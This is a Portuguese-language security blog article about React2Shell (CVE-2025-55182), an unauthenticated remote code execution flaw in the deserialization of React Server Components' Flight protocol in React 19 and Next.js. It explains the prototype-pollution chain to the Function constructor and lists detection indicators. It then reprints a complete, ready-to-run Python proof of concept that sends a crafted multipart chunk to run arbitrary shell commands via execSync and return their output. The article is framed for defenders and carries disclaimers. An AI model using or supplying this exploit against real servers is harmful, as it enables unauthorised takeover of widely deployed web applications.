
React2Shell, CVE-2025-55182, Vulnerabilidade RCE: Uma análise crítica da falha de desserialização insegura nos React Server Components que permite execução remota de código não autenticada em configurações padrão de React/Next.js.
React2Shell (CVE-2025-55182) é uma vulnerabilidade crítica de Execução Remota de Código (RCE) que afeta os React Server Components (RSC) no React 19.x e frameworks como Next.js. A falha reside na desserialização insegura de chunks do protocolo “Flight”, permitindo que atacantes injetem estruturas maliciosas que se resolvem no construtor Function, resultando em execução arbitrária de JavaScript no servidor.
Os React Server Components foram introduzidos para unir a renderização cliente/servidor com um fluxo de trabalho mais contínuo e componível. Para isso, o React usa um canal de serialização personalizado, meio binário, chamado protocolo Flight.
Infelizmente, a lógica de desserialização deste protocolo continha uma falha sutil que permitia que atacantes contrabandeassem payloads maliciosos profundamente no runtime do React.
O resultado? Uma cadeia completa e não autenticada de execução remota de código, agora apelidada de React2Shell — e sim, seu impacto é comparável ao Log4Shell em escala e acessibilidade. 🔥
Este artigo detalha a vulnerabilidade em um formato claro e acionável — ideal para profissionais de VAPT, pesquisadores e defensores.
O RSC se comunica com o cliente enviando “chunks” serializados que representam referências, objetos, metadados de componentes, limites assíncronos, etc.
Quando esses chunks chegam ao servidor ou cliente, o React os desserializa de volta em objetos e funções.
Esse processo assume que a estrutura de dados é segura. Foi aí que tudo quebrou.
Os atacantes encontraram uma maneira de criar chunks maliciosos contendo:
thenables)Exemplo de padrão:
"$then": { "constructor": { "prototype": null } }
Durante a desserialização, o React interpreta esse objeto como um thenable e chama:
promise.then(...)
Mas aqui, then é na verdade o construtor Function, então a chamada torna-se:
(new Function("malicious_payload"))();
Isso resulta em execução arbitrária de JavaScript dentro do ambiente Node.js que executa os React Server Components.
Boom — você tem RCE.
É por isso que fornecedores de nuvem, equipes de segurança e CERTs reagiram instantaneamente quando isso se tornou público.
/react/rsc/server, /flight, /server-actions$then$proto$constructor$typenode -e "<payload>"
/tmp/react-rce-*/var/tmp/node-rce-*⚠️ Nota Importante
Eu não sou o dono deste PoC.
Ele é referenciado do seguinte repositório público, com todos os créditos ao autor:
👉 https://github.com/msanft/CVE-2025-55182
O seguinte Proof-of-Concept (PoC) é fornecido estritamente para fins educacionais e de pesquisa defensiva em cibersegurança.
Ele deve ser executado apenas em ambientes de laboratório isolados ou em sistemas onde você tenha autorização explícita para testar.
O uso indevido deste código para acesso não autorizado, exploração ou comprometimento de sistemas é ilegal, antiético e punível sob leis de cibersegurança.
Prossiga com responsabilidade. 🛡️💻
Abaixo está o PoC completo:
# CREDIT: https://github.com/msanft/CVE-2025-55182
# Do NOT run in production. Research-use only.
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)
Se você executou este PoC, certifique-se de que o fez em um sandbox controlado e não em qualquer ativo de produção ou de terceiros.
Esta demonstração existe unicamente para ajudar analistas, desenvolvedores e defensores a entender, detectar e mitigar CVE-2025-55182 (React2Shell).
Qualquer uso malicioso ou não autorizado desta informação é estritamente proibido e não é endossado pelo autor.
Mantenha-se ético. Mantenha-se seguro. 🐉🔥
React2Shell é um lembrete poderoso de que camadas de serialização, por mais elegantes que sejam, continuam sendo um dos componentes mais perigosos em frameworks modernos. No momento em que objetos arbitrários tocam o runtime sem validação, a cadeia para RCE se torna dolorosamente curta.
Obrigado por ler — e como sempre, continue hackeando eticamente, continue aprendendo constantemente e mantenha esse fogo da segurança aceso. 🔥🐉
Se você gostou deste artigo ou deseja permanecer conectado com minha pesquisa em cibersegurança:
🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010